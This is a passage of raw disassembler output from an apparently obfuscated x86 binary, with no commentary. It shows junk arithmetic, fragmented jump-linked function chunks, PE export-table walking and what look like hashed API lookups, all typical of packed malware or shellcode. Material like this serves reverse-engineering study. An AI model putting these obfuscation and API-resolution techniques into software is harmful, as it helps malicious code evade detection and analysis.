loc_4276FC:				; CODE XREF: sub_426A78:loc_4233C8j
		push	esi
		mov	esi, ecx
		xchg	esi, [esp+4+var_4]
		call	sub_424819


loc_427707:				; CODE XREF: sub_42855B-5231j
		jmp	loc_4250EF
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
		shr	ebx, 9
		jmp	sub_4247F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_427714:				; CODE XREF: sub_4260BD+222Dj
		xor	edx, 8CF583B7h
		push	0FAB69B54h
		jge	loc_42514C
		not	edx
		jmp	loc_427947
; END OF FUNCTION CHUNK	FOR sub_4260BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230E0


loc_42772C:				; CODE XREF: sub_4230E0:loc_425D9Ej
		sub	ebx, 0DDEDB4E8h
		add	ebx, 0F671D69Ah
		rol	ebx, 1Fh
		add	ebx, 7DDFD362h
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_427A36
; END OF FUNCTION CHUNK	FOR sub_4230E0
; ---------------------------------------------------------------------------


loc_427749:				; CODE XREF: hjohnhn9:00427062j
		jle	loc_427240

; =============== S U B	R O U T	I N E =======================================



sub_42774F	proc near		; CODE XREF: sub_427A58:loc_423F10p
		xchg	eax, [esp+0]
		pop	eax
		call	sub_426741
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		jmp	nullsub_27
sub_42774F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427763:				; CODE XREF: hjohnhn9:0042638Ej
		js	loc_42872A
		cdq
		jl	locret_424AB3
		jmp	loc_428AD8
; ---------------------------------------------------------------------------


loc_427775:				; CODE XREF: hjohnhn9:loc_423801j
		mov	ecx, offset loc_425071
		jmp	loc_4232A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424377


loc_42777F:				; CODE XREF: sub_424377:loc_424E8Aj
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		jmp	loc_4264DE
; END OF FUNCTION CHUNK	FOR sub_424377
; ---------------------------------------------------------------------------


loc_427790:				; CODE XREF: hjohnhn9:004267A7j
		not	edx

; =============== S U B	R O U T	I N E =======================================



sub_427792	proc near		; CODE XREF: sub_42304F:loc_424F43p

; FUNCTION CHUNK AT 004252AF SIZE 00000012 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	ecx, [ebx+3Ch]
		mov	ecx, [ebx+ecx+78h]
		jmp	loc_4252AF
sub_427792	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_4277A2:				; CODE XREF: sub_424631-307j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-14h], 4
		jnz	loc_426619
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jnz	loc_426619
		cmp	dword ptr [ebp-10h], 0
		jmp	loc_424F09
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D0E


loc_4277C5:				; CODE XREF: sub_428D0E:loc_423B92j
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		mov	eax, [eax+60h]
; END OF FUNCTION CHUNK	FOR sub_428D0E
; START	OF FUNCTION CHUNK FOR sub_426F85


loc_4277CE:				; CODE XREF: sub_426F85+1D84j
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		dec	eax
		jmp	loc_42726D
; END OF FUNCTION CHUNK	FOR sub_426F85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_4277E0:				; CODE XREF: sub_425BD2+3B5j
		js	sub_425EA9
		mov	ebx, edx


loc_4277E8:				; CODE XREF: sub_425BD2:loc_428B34j
		call	sub_424877
		mov	edx, 0D504D785h
		call	sub_4279ED
		push	ebp
		mov	ebp, eax
		jmp	loc_428CAA
; END OF FUNCTION CHUNK	FOR sub_425BD2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_121. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_427800:				; CODE XREF: sub_424A78+1B6j
		jmp	sub_427FCE
; END OF FUNCTION CHUNK	FOR sub_424A78

; =============== S U B	R O U T	I N E =======================================



sub_427805	proc near		; DATA XREF: sub_426354+5E8o
		jnz	loc_425ED0
		call	sub_426098
sub_427805	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_427810	proc near		; CODE XREF: hjohnhn9:0042526Bj
					; sub_428D1E+Bp

; FUNCTION CHUNK AT 00426B09 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		cmp	edx, 7C61090Eh


loc_42781A:				; CODE XREF: sub_42304F:loc_4282D3j
		jz	loc_4243F2
		jmp	loc_426B09
sub_427810	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_427825:				; CODE XREF: sub_423BC3+2EC9j
		jns	loc_425F6E


loc_42782B:				; CODE XREF: sub_423BC3:loc_4236BBj
		add	edx, 0E53F644Bh
		add	edx, ebp
		add	edx, 984AE1Fh
		jmp	loc_424C7B
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------


loc_42783E:				; CODE XREF: hjohnhn9:loc_42430Fj
		xchg	ebx, [esp]
		mov	eax, ebx
		and	ebx, edi
		jmp	loc_4290F1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_88. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426961


loc_42784B:				; CODE XREF: sub_426961+16j
		jmp	loc_4278A0
; END OF FUNCTION CHUNK	FOR sub_426961
; ---------------------------------------------------------------------------


loc_427850:				; CODE XREF: hjohnhn9:0042620Cj
		xchg	eax, ebp

; =============== S U B	R O U T	I N E =======================================



sub_427852	proc near		; CODE XREF: sub_428271-16E4p

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00424064 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004242E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425156 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425F3A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426AA2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00427F82 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042823F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428319 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00428883 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428EF2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428F16 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		adc	edx, [esp+4]
		jmp	loc_425F3A
sub_427852	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CB3


loc_427860:				; CODE XREF: sub_425CB3+B14j
		call	sub_42897B
		push	offset loc_424C6A
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_425CB3
; ---------------------------------------------------------------------------
		adc	ebx, edx
		jmp	sub_4235C9
; ---------------------------------------------------------------------------

locret_427876:				; CODE XREF: hjohnhn9:00424B2Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4242A0


loc_427877:				; CODE XREF: sub_4242A0+Aj
		call	sub_427463


loc_42787C:				; CODE XREF: hjohnhn9:00428472j
		jmp	loc_42879B
; END OF FUNCTION CHUNK	FOR sub_4242A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_427881:				; CODE XREF: sub_425BD2+1D8Cj
		jmp	loc_426F24
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42859A


loc_427886:				; CODE XREF: sub_42859A+11j
		mov	edx, 0B9726E5Ah
		push	offset sub_425BD2
		jmp	locret_424207
; END OF FUNCTION CHUNK	FOR sub_42859A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426671


loc_427895:				; CODE XREF: sub_426671-649j
		jz	loc_423FD3
		jmp	loc_42631C
; END OF FUNCTION CHUNK	FOR sub_426671
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426961


loc_4278A0:				; CODE XREF: sub_426961:loc_42784Bj
		rol	eax, 1Dh
		or	eax, 0F6D1A721h
		add	eax, 4A7172h
		xchg	eax, [esp+0]
		jmp	loc_42681D
; END OF FUNCTION CHUNK	FOR sub_426961
; ---------------------------------------------------------------------------


loc_4278B7:				; CODE XREF: hjohnhn9:0042683Bj
		xchg	esi, [eax]

; =============== S U B	R O U T	I N E =======================================



sub_4278B9	proc near		; CODE XREF: sub_427A58-3B3Dp

; FUNCTION CHUNK AT 0042340D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00423948 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004282CE SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-4], eax


loc_4278C0:				; CODE XREF: sub_427C9B:loc_4246F4j
		cmp	dword ptr [ebp-4], 0
		jnz	loc_423415
		lea	eax, [ebp-125h]
		push	eax
		jmp	loc_423948
sub_4278B9	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423425


loc_4278D7:				; CODE XREF: sub_423425+9j
		jmp	loc_4282D8
; END OF FUNCTION CHUNK	FOR sub_423425

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4278DC	proc near		; CODE XREF: sub_42387A+2E17j
					; sub_428CC9+1p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423785 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00423D54 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042438A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00424BA3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424C01 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042515B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00427A24 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427B35 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00427F70 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042808F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00428571 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428FEC SIZE 0000001C BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	edi, [esp+0]
		mov	ebp, edi
		jmp	loc_427F70
sub_4278DC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4278EC	proc near		; DATA XREF: sub_4262DA+7o

; FUNCTION CHUNK AT 0042382E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042434F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004243F7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042740A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004279E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427D42 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00427EAB SIZE 0000001D BYTES

		mov	ds:dword_423940, eax
		jmp	loc_427EAB
sub_4278EC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4278F6	proc near		; CODE XREF: sub_427A36j

; FUNCTION CHUNK AT 00423B97 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset sub_428E65
		jmp	loc_423B97
sub_4278F6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427994


loc_427904:				; CODE XREF: sub_427994-11F8j
		jz	loc_423AE4
		jmp	loc_42469E
; END OF FUNCTION CHUNK	FOR sub_427994

; =============== S U B	R O U T	I N E =======================================



sub_42790F	proc near		; DATA XREF: sub_426211-1CD9o
		add	edi, 0FD021EE1h
		mov	[edi], eax
		push	offset loc_428FCC
		jmp	loc_426BC5
sub_42790F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_427921:				; CODE XREF: sub_427486:loc_423246j
		jz	loc_428004
; END OF FUNCTION CHUNK	FOR sub_427486
; START	OF FUNCTION CHUNK FOR sub_426354


loc_427927:				; CODE XREF: sub_426354-741j
		jmp	loc_425E20
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424877


loc_42792C:				; CODE XREF: sub_424877:loc_42465Aj
		jmp	nullsub_66
; END OF FUNCTION CHUNK	FOR sub_424877
; ---------------------------------------------------------------------------
		xchg	ecx, [esi]
		mov	[ecx], ebx
		adc	edi, 9915B2EFh
		cdq
		add	ecx, 35122E90h
		jmp	loc_428004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_427947:				; CODE XREF: sub_42466E:loc_424008j
					; sub_4260BD+166Aj
		shr	ecx, 1Bh
; END OF FUNCTION CHUNK	FOR sub_42466E
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_42794A:				; CODE XREF: sub_4260BD:loc_4282E4j
		mov	byte ptr [ebp-20h], 30h
		inc	dword ptr [ebp-10h]
; END OF FUNCTION CHUNK	FOR sub_4260BD
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_427951:				; CODE XREF: sub_426354:loc_423350j
					; sub_423753+8j ...
		dec	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 0
		jl	loc_428DA6
		jmp	loc_427881
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	loc_42476D
		jmp	loc_42500A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_427970:				; CODE XREF: sub_424631-6D1j
		call	sub_427AEB
		call	sub_423548


loc_42797A:				; CODE XREF: sub_424EC9+3B6Cj
		jmp	nullsub_30
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_42797F:				; CODE XREF: sub_42466E+1744j
		jmp	sub_4279ED
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_427984:				; CODE XREF: sub_424A78-A7Bj
		jmp	loc_426DAA
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------


loc_427989:				; CODE XREF: hjohnhn9:0042506Cj
		jz	loc_42750E
		jmp	loc_4234C3

; =============== S U B	R O U T	I N E =======================================



sub_427994	proc near		; CODE XREF: hjohnhn9:0042811Fj
					; sub_428BCF+Fp

; FUNCTION CHUNK AT 004239EC SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004261F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042678E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00427904 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	esp, 8
		mov	[ebp-4], eax
		push	0C81D22B2h
		pop	eax
		jmp	loc_4261F1
sub_427994	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4279C0


loc_4279A9:				; CODE XREF: sub_4279C0+63Fj
		mov	eax, [ebp+var_4]
		xchg	edi, [esp+4+var_4]
		mov	ecx, edi
		pop	edi
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_4279C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_4279B6:				; CODE XREF: sub_426A78+7j
		jmp	loc_427B1B
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_4279BB:				; CODE XREF: sub_42363F+4j
		jmp	loc_425C7D
; END OF FUNCTION CHUNK	FOR sub_42363F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4279C0	proc near		; CODE XREF: sub_4279C0-1603p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00423D42 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042446C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004249CC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042507B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425E85 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00425F5B SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004263B1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 004279A9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00427FF5 SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_423D42
sub_4279C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4279C8	proc near		; DATA XREF: sub_424C5F+Co

; FUNCTION CHUNK AT 00429013 SIZE 00000005 BYTES

		call	sub_4262C5
		push	offset loc_42903E
		jmp	loc_429013
sub_4279C8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427324


loc_4279D7:				; CODE XREF: sub_427324+11A2j
		mov	ds:dword_4252C4, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_427324
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4279DE:				; CODE XREF: sub_424161+1A62j
		jmp	loc_4234B1
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_4279E3:				; CODE XREF: sub_428477-3677j
		jmp	loc_4287A5
; END OF FUNCTION CHUNK	FOR sub_428477
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278EC


loc_4279E8:				; CODE XREF: sub_4278EC-40B7j
		jmp	loc_427D42
; END OF FUNCTION CHUNK	FOR sub_4278EC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4279ED	proc near		; CODE XREF: sub_423B05-CAp
					; sub_426F5A-30B5p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004244A3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00424AA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424C76 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jns	sub_4289B2
		add	esp, 0FFFFFED8h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		jmp	loc_424C76
sub_4279ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_427A07	proc near		; DATA XREF: hjohnhn9:004237CDo
		cmp	dword ptr [ebp-8], 0
		jz	loc_42909E
sub_427A07	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_426354


loc_427A11:				; CODE XREF: sub_426354+AB9j
					; hjohnhn9:00429098j
		js	loc_426302
		cmp	dword ptr [ebp-1Ch], 0Fh
		jmp	loc_42323C
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
		mov	ecx, [edx]
		mov	edi, edx
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_427A24:				; CODE XREF: sub_4278DC-3B82j
		jmp	sub_428CAF
; END OF FUNCTION CHUNK	FOR sub_4278DC
; ---------------------------------------------------------------------------
		not	ebx
		jmp	sub_428D1E

; =============== S U B	R O U T	I N E =======================================



sub_427A30	proc near		; CODE XREF: sub_426B29:loc_427D8Ep
		mov	eax, 0A0h
		retn
sub_427A30	endp


; =============== S U B	R O U T	I N E =======================================



sub_427A36	proc near		; CODE XREF: sub_427A58-3B42p
					; sub_427E85-3CF7p ...

; FUNCTION CHUNK AT 004262A3 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042888D SIZE 00000005 BYTES

		js	sub_4278F6
		push	ebp
		mov	ebp, esp
		jmp	loc_4262A3
sub_427A36	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_427A44:				; CODE XREF: sub_423B05:loc_4233E1j
		add	eax, ebp
		add	eax, 48CFDDBEh
		mov	eax, [eax]
		push	offset loc_423D87
		jmp	nullsub_84
; END OF FUNCTION CHUNK	FOR sub_423B05

; =============== S U B	R O U T	I N E =======================================



sub_427A58	proc near		; CODE XREF: hjohnhn9:004266C7j
					; sub_4284CB-507p

; FUNCTION CHUNK AT 00423F10 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-4], eax
		mov	eax, offset dword_425AEC
		jmp	loc_423F10
sub_427A58	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426BD2


loc_427A69:				; CODE XREF: sub_426BD2:loc_4235C4j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_426BD2
; ---------------------------------------------------------------------------


loc_427A6C:				; CODE XREF: hjohnhn9:004235B7j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-0Ch], 4
		jnz	loc_426B63
; START	OF FUNCTION CHUNK FOR sub_427B7A


loc_427A79:				; CODE XREF: sub_427B7A+4j
		jmp	loc_426B5A
; END OF FUNCTION CHUNK	FOR sub_427B7A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_427A7E:				; CODE XREF: sub_423BC3+60Aj
		jz	loc_428FAE
		shl	ebp, 1Bh
		jmp	loc_428F9F
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp]
		mov	ebp, esp
		add	esp, 0FFFFFFCCh
		jmp	loc_423145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4265CD


loc_427A9C:				; CODE XREF: sub_4265CD-257Cj
		jnz	loc_42352D
; END OF FUNCTION CHUNK	FOR sub_4265CD
; START	OF FUNCTION CHUNK FOR sub_427C53


loc_427AA2:				; CODE XREF: sub_427C53+9j
		jmp	sub_426F85
; END OF FUNCTION CHUNK	FOR sub_427C53
; ---------------------------------------------------------------------------
		ror	ebp, 19h
		xor	ebp, 0D5414480h
		jmp	loc_42352B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_427AB5:				; CODE XREF: sub_426354+24A4j
		jnz	loc_428BAC
		jmp	loc_423451
; END OF FUNCTION CHUNK	FOR sub_426354

; =============== S U B	R O U T	I N E =======================================



sub_427AC0	proc near		; CODE XREF: hjohnhn9:004237DDj
					; sub_42325E:loc_424261p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042390C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00423B3E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424251 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424703 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00424D04 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00425C3B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426393 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004283A1 SIZE 00000018 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	ecx
		push	8CD3AF68h
		jmp	loc_426393
sub_427AC0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A28


loc_427ACF:				; CODE XREF: sub_424A28+3FA3j
		jz	sub_42677F
		jmp	loc_4284A7
; END OF FUNCTION CHUNK	FOR sub_424A28
; ---------------------------------------------------------------------------
		xor	edx, 31C7C26Fh
		and	ebp, 901DEA2Fh
		jmp	sub_425BF2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427AEB	proc near		; CODE XREF: sub_426749-300Dp
					; sub_427C9B-2197p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		jz	sub_424377
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		jmp	loc_424491
sub_427AEB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42841F


loc_427B02:				; CODE XREF: sub_42841F:loc_423810j
		cdq
		test	eax, 0C9C7E8BAh
		jmp	loc_426588
; END OF FUNCTION CHUNK	FOR sub_42841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424819


loc_427B0E:				; CODE XREF: sub_424819:loc_426A09j
		xor	eax, 4E22A3B1h
		add	eax, ebp
		call	sub_423FB9
; END OF FUNCTION CHUNK	FOR sub_424819
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_427B1B:				; CODE XREF: sub_426A78:loc_4279B6j
		push	0FA814B42h
		pop	eax
		xor	eax, 0CA5BD9A7h
		rol	eax, 11h
		test	eax, 200000h
		jmp	loc_423D47
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4278DC


loc_427B35:				; CODE XREF: sub_4278DC-3B7Aj
		push	0BCDFDBAAh
		mov	ecx, ebp


loc_427B3C:				; CODE XREF: sub_4278DC:loc_424BA3j
		call	sub_424877
		mov	edx, 4CB976E9h
		call	sub_4279ED
		push	eax
		jmp	loc_423785
; END OF FUNCTION CHUNK	FOR sub_4278DC

; =============== S U B	R O U T	I N E =======================================



sub_427B51	proc near		; CODE XREF: hjohnhn9:00423EB2j
					; sub_426354-51Fp

; FUNCTION CHUNK AT 00428174 SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-8], eax


loc_427B58:				; CODE XREF: sub_426354:loc_4262EBj
					; sub_426354-4Ej
		js	loc_428174
		test	byte ptr [ebp-8], 2
		jz	loc_424C37
		jmp	sub_4241D2
sub_427B51	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_427B6D:				; CODE XREF: hjohnhn9:00426250j
		jnb	loc_424A5E
		cmp	edi, ecx
		jmp	loc_426632

; =============== S U B	R O U T	I N E =======================================



sub_427B7A	proc near		; CODE XREF: hjohnhn9:00424B7Bj
					; hjohnhn9:00428CA5p

; FUNCTION CHUNK AT 00426B5A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00427A79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042856C SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		jmp	loc_427A79
sub_427B7A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		call	sub_4263C7


loc_427B88:				; CODE XREF: hjohnhn9:004268CEj
		jmp	loc_428A3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F5A


loc_427B8D:				; CODE XREF: sub_426F5A-1E18j
		jmp	loc_427339
; END OF FUNCTION CHUNK	FOR sub_426F5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CCD


loc_427B92:				; CODE XREF: sub_423CCD+9j
		jmp	loc_4271DA
; END OF FUNCTION CHUNK	FOR sub_423CCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CB3


loc_427B97:				; CODE XREF: sub_425CB3-246Dj
		jmp	loc_4267AC
; END OF FUNCTION CHUNK	FOR sub_425CB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_427B9C:				; CODE XREF: sub_423CDB+3A9j
					; sub_423CDB:loc_426B13j ...
		call	sub_424877
		push	96560501h
		xchg	ebx, [esp+0]
		mov	edx, ebx
		pop	ebx
		jmp	loc_425EFB
; END OF FUNCTION CHUNK	FOR sub_423CDB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_427BB2:				; CODE XREF: hjohnhn9:loc_425D60j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_427BB3:				; CODE XREF: sub_4248F9+6j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------


loc_427BB5:				; CODE XREF: hjohnhn9:004268D5j
		mov	eax, [ebp-4]
		call	sub_428838
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_427BBD:				; CODE XREF: sub_42325E:loc_423265j
		jz	loc_428B4C
		adc	ebx, 3722B6D7h
		jmp	loc_426FE2
; END OF FUNCTION CHUNK	FOR sub_42325E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427BCE	proc near		; DATA XREF: sub_4230F2+1o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00427380 SIZE 0000000B BYTES

		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	edi, [esp+4+var_4]
		mov	ebp, edi
		pop	edi
		mov	eax, ds:dword_428B08
		or	eax, eax
		jmp	loc_427380
sub_427BCE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_427BE6:				; CODE XREF: sub_424161+15j
		mov	eax, [ebp-20h]
		call	sub_426C1C


loc_427BEE:				; CODE XREF: sub_42466E-635j
